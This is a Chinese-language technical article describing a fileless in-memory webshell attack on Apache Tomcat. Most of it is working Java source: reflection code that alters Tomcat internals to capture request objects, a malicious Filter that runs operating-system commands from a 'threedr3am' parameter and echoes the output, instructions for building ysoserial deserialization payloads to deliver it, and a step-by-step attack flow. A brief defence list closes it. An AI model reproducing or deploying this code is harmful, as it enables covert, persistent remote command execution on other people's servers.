基于tomcat的内存 Webshell 无文件攻击技术
字数 1535 2025-08-20 18:17:31
基于Tomcat的内存Webshell无文件攻击技术详解
0x00 技术背景
内存Webshell是一种驻留在服务器内存中的恶意程序,不写入磁盘文件,具有隐蔽性强、难以检测的特点。本文介绍的技术针对Tomcat容器,通过动态注册Filter实现无文件攻击,具有以下特点:
- 完全内存驻留,不落地文件
- 适用于Tomcat容器,不依赖特定Web框架
- 可绕过Shiro等安全框架的防护
- 支持命令执行回显
0x01 技术原理
1.1 获取Request和Response对象
Tomcat处理HTTP请求时,会经过以下关键调用栈:
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter
org.apache.catalina.core.ApplicationFilterChain.doFilter
org.apache.catalina.core.StandardWrapperValve.invoke
...
关键点在于ApplicationFilterChain类的internalDoFilter方法:
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}
通过反射修改ApplicationDispatcher.WRAP_SAME_OBJECT为true,并初始化lastServicedRequest和lastServicedResponse这两个ThreadLocal变量,可以在后续请求中获取Request和Response对象。
1.2 动态注册Filter
传统方法直接通过ServletContext添加Filter会遇到问题,因为Tomcat运行时状态为STARTED,不允许动态添加Filter。解决方案:
- 通过反射修改StandardContext状态为
STARTING_PREP - 添加自定义Filter
- 恢复StandardContext状态为
STARTED - 确保Filter在FilterChain的最前面执行
0x02 实现步骤
2.1 准备工作
创建两个关键类:
TomcatEchoInject- 用于初始化ThreadLocal变量TomcatShellInject- 实现Filter接口的内存Webshell
2.2 TomcatEchoInject类
public class TomcatEchoInject extends AbstractTranslet {
static {
try {
// 修改WRAP_SAME_OBJECT为true
Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
// 反射修改final字段
Field modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
f.setAccessible(true);
if (!f.getBoolean(null)) {
f.setBoolean(null, true);
}
// 初始化lastServicedRequest
c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
f = c.getDeclaredField("lastServicedRequest");
// 同上反射修改
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
// 初始化lastServicedResponse
f = c.getDeclaredField("lastServicedResponse");
// 同上反射修改
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
} catch (Exception e) {
e.printStackTrace();
}
}
// ... 省略其他方法
}
2.3 TomcatShellInject类
public class TomcatShellInject extends AbstractTranslet implements Filter {
static {
try {
// 获取Request对象
Field f = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal t = (ThreadLocal)f.get(null);
ServletRequest servletRequest = (ServletRequest)t.get();
if (servletRequest != null) {
ServletContext servletContext = servletRequest.getServletContext();
StandardContext standardContext = null;
// 获取StandardContext
for (; standardContext == null; ) {
Field contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
Object o = contextField.get(servletContext);
if (o instanceof ServletContext) {
servletContext = (ServletContext)o;
} else if (o instanceof StandardContext) {
standardContext = (StandardContext)o;
}
}
if (standardContext != null) {
// 修改状态以允许添加Filter
Field stateField = LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
// 添加自定义Filter
Filter threedr3am = new TomcatShellInject();
FilterRegistration.Dynamic filterRegistration =
servletContext.addFilter("threedr3am", threedr3am);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration.addMappingForUrlPatterns(
EnumSet.of(DispatcherType.REQUEST), false, new String[]{"/*"});
// 恢复状态
stateField.set(standardContext, LifecycleState.STARTED);
// 使Filter生效
Method filterStartMethod = StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
// 将Filter移到第一位
FilterMap[] filterMaps = standardContext.findFilterMaps();
for (int i = 0; i < filterMaps.length; i++) {
if (filterMaps[i].getFilterName().equalsIgnoreCase("threedr3am")) {
FilterMap filterMap = filterMaps[i];
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMap;
break;
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
String cmd;
if ((cmd = servletRequest.getParameter("threedr3am")) != null) {
// 执行命令并回显
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader bufferedReader = new BufferedReader(
new InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
// ... 省略其他方法
}
2.4 生成Payload
修改ysoserial工具,创建专门的Payload生成类:
CommonsCollections11ForTomcatEchoInject- 用于初始化ThreadLocalCommonsCollections11ForTomcatShellInject- 用于注入内存Webshell
关键修改点:
// 原代码
final Object templates = Gadgets.createTemplatesImpl(command[0]);
// 修改为
final Object templates = Gadgets.createTemplatesImpl(null, TomcatEchoInject.class);
// 或
final Object templates = Gadgets.createTemplatesImpl(null, TomcatShellInject.class);
0x03 攻击流程
- 第一步:使用
CommonsCollections11ForTomcatEchoInject生成Payload,发送到目标服务器,初始化ThreadLocal变量 - 第二步:使用
CommonsCollections11ForTomcatShellInject生成Payload,发送到目标服务器,注入内存Webshell - 使用Webshell:访问任意URL,添加参数
?threedr3am=command执行系统命令并获取回显
0x04 防御措施
- 禁用危险的序列化功能:关闭不必要的反序列化入口
- 升级依赖库:使用最新版本的commons-collections等库
- 运行时防护:使用RASP等工具监控可疑的反射操作
- Filter白名单:限制动态注册Filter的能力
- 状态监控:检测Tomcat状态的异常修改
0x05 技术总结
本技术通过以下关键点实现了Tomcat下的内存Webshell:
- 利用反射修改Tomcat内部变量,获取Request/Response对象
- 通过状态欺骗实现运行时动态注册Filter
- 调整Filter执行顺序确保优先执行
- 结合反序列化漏洞实现无文件攻击
这种攻击方式隐蔽性强,防御难度大,需要从多个层面进行防护。